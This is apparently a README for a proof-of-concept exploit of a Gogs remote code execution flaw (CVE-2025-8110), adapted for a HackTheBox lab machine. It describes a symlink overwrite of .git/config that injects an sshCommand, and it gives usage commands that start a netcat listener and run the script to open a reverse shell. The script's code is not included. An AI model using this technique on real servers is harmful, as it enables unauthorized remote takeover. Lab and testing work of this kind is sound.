## https://sploitus.com/exploit?id=0067B5A1-1A16-57B5-8A71-9CF356FA7A66
# CVE-2025-8110 โ Gogs RCE PoC (Silentium / HackTheBox)
> **Disclaimer:** This tool is intended strictly for educational purposes and authorized penetration testing. Only use it against systems you have explicit permission to test.
---
This is a modified version of [zAbuQasem/gogs-CVE-2025-8110](https://github.com/zAbuQasem/gogs-CVE-2025-8110), adapted to work against the **Silentium** machine on HackTheBox. The original PoC required adjustments to handle Silentium's specific Gogs configuration and authentication flow.
---
## The Vulnerability
**CVE-2025-8110** is a Remote Code Execution vulnerability in **Gogs**, a self-hosted Git service.
Gogs' file-update API endpoint (`PUT /api/v1/repos/.../contents/`) does not validate whether the target file is a symlink. An authenticated attacker can push a symlink into a repository that points to `.git/config`, then use the API to overwrite it with a malicious payload. The payload injects a custom `sshCommand` into the git config, which Gogs executes server-side the next time it performs an SSH operation on that repository, resulting in remote code execution.
---
## What the PoC Does
1. Authenticates to Gogs and scrapes a CSRF token from the login page.
2. Generates a Gogs API token via the user settings page.
3. Creates a new repository via the API with SSH enabled.
4. Clones the repo locally, plants a symlink (`malicious_link -> .git/config`), and pushes it.
5. Calls the file-update API on the symlink, writing a malicious `.git/config` that contains `sshCommand = `.
6. Gogs follows the symlink and overwrites its own `.git/config`, triggering the shell on the next SSH operation.
---
## Usage
**Install dependencies:**
```bash
pip install -r requirements.txt
```
**Start a listener:**
```bash
nc -lvnp
```
**Run the exploit:**
```bash
python3 CVE-2025-8110.py -u http:// -lh -lp -un -pw
```
**Optional โ route through Burp Suite:**
```bash
python3 CVE-2025-8110.py -u http:// -lh -lp -un -pw -x
```
| Flag | Description |
|---|---|
| `-u` | Gogs base URL |
| `-lh` | Your attacker IP (reverse shell host) |
| `-lp` | Your listener port |
| `-un` | Your registered Gogs username |
| `-pw` | Your Gogs password |
| `-x` | (Optional) Route traffic through Burp on `localhost:8080` |